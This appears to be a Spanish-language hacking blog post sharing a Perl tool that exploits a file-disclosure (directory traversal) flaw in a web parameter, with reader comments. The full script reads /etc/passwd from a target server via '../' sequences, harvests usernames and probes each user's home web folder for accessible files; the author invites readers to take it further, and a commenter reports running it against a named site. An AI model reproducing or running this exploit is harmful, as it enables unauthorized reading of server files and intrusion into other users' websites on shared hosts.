La vez anterior publique algo de bypass en los usuarios de algun servidor y para facilitarnos las cosas me hice una t00l en perl que nos ahorrara mucho tiempo, para hacer una búsqueda y saber donde tenemos permisos.
Creo que es la primera t00l de su tipo,pero no estoy seguro, ya que no e visto alguna para esta función y pues se me ocurrió hacerla.
Creo que es la primera t00l de su tipo,pero no estoy seguro, ya que no e visto alguna para esta función y pues se me ocurrió hacerla.
Aquí una Muestra de el funcionamiento de la herramienta
[Directorio_web] Es El directorio de la web que se va a buscar, este puede ser "www", "htdocs", "public_html", etc...
[Archivo a Buscar] Es Opcional, asi que no es necesario agregarlo a menos que desees hacer una busqueda mas personalizada
Vemos que nos Devuelve los usuarios junto a los paths de los usuarios vulnerables
Ya después dependerá de vosotros para hacer lo que sigue...
use HTTP::Request; use LWP::UserAgent; my $browser = LWP::UserAgent->new(); sub banner { print " _ _ _ |_ \/|_)|_| _ _ o __ (_| |_|/ \ _ _|_ |_) / | |_> _> | | |__| | |\_/_> |_ C o d e d by b 4 n z 0 k * Modo de Uso : * perl script.pl [Web] [Carpeta_web] [path_destino(Opcional)]\n *\tperl script.pl www.web.com/archivo.php?disclosure= htdocs "; } $url = $ARGV[0]; # print "$vuln\n"; unless ($url) { &banner; } $home = $ARGV[1]; # print "$home\n"; $dr = "home/"; #Esta Parte La deves de cambiar Manualmente dependiendo la informacion de "/etc/passwd" $pt = "../../../../"; #$pt = "....//....//....//....//....//....//....//....//....//"; $bp = ""; @usuarios; @vulnerados; $archivo = $ARGV[2]; unless ($ARGV[2]) { $archivo1 = "/index.php"; $archivo2 = "/index.html"; } $url = "http://" . $url if $url !~ m/^http\:\/\//; if ($url =~ m/^http\:\/\/([a-zA-Z0-9-.]+)\/(.*)/) { $host = $1; $path0 = $2; } $path = $url . $path. $pt . $pt . $pt . "etc/passwd" . $bp; print "$path\n"; my $request = $browser->get($path); my $content = $request->content; #print "$content\n"; if ($content =~ m/(.*):x:(.*):(.*):(.*):\/bin/g) { while ($content =~ m/(.*):x:(.*):(.*):(.*):\/bin/g ) { #print $1 . "\n"; push (@usuarios,$1); # Esto tambien puede cambiar el $1 } } else { print "\n[*] Error En la Injeccion.\n\n"; exit; } &banner; print "\n\n[*] # Ju4ck34ndo [ Server * $host ] d3sd3 d3ntr0 #\t[*]\n\n"; foreach $n (@usuarios) { $path2 = $url . $pt . $pt . $pt . $bp . $pt . $pt . $pt . $dr . $n . "/" . $home; # print "$path2\n"; unless ($ARGV[2]) { $path_g=$path2 . "/index.php"; &requestt($path_g); $path_g=$path2 . "/index.html"; &requestt; } if ($ARGV[2]) { $path_g = $path2 . $archivo; &requestt($path_g); } } sub requestt { my $request2 = $browser->get($path_g); my $content2 = $request2->content; # print "$content2\n"; m/failed to open stream/ if ($content2 =~ m/\$(.*)/) { print "[#- pl0p -#]\t\ŧ# - [ $n ] - #\n"; push (@vulnerados,$path_g); } # else { print "# 3Rr0r # [$n]\t$path_g\n"; } } print "\n\n\t[ # - Webs Con Bypass de Permisos - # ]\n\n"; foreach $n (@vulnerados) { print "[*] $n\n\n"; }
Que tal mira estuve probando tu exploit y nada sale error de inyección : la web es vulnerable o estare mal yo aver si me sacas de esta duda : tecleo : Bueno al exploit lo nombre usuarios xD
ResponderEliminarperl ./usuarios.pl [http://www.fivemusic.net/evento.php?id=4] [public_html]
http://[http://www.pagina.com/evento.php?id=4]../../../../../../../../../../../../etc/passwd
[*] Error En la Injeccion.
= lo ago de otra forma :
perl ./usuarios.pl http://www.pagina.com/evento.php?id=4 "public_html"
http://www.fivemusic.net/evento.php?id=4../../../../../../../../../../../../etc/passwd
[*] Error En la Injeccion. despues lo hice el public_html si comillas y nada despues con el htdocs nda :?
Que pasa ? aver si respondes saludos buen blogg
recuerda que tiene que ser un disclosure, no una sqli inject y solo es el "index.php?vulnerable= public_html",
ResponderEliminary todo depende del archivo /etc/passwd, as que hay algunas variables que pueden ser cambiadas para que la tool pueda hacer el disclosure
Ok men Gracias . BUEN BLOGG
ResponderEliminar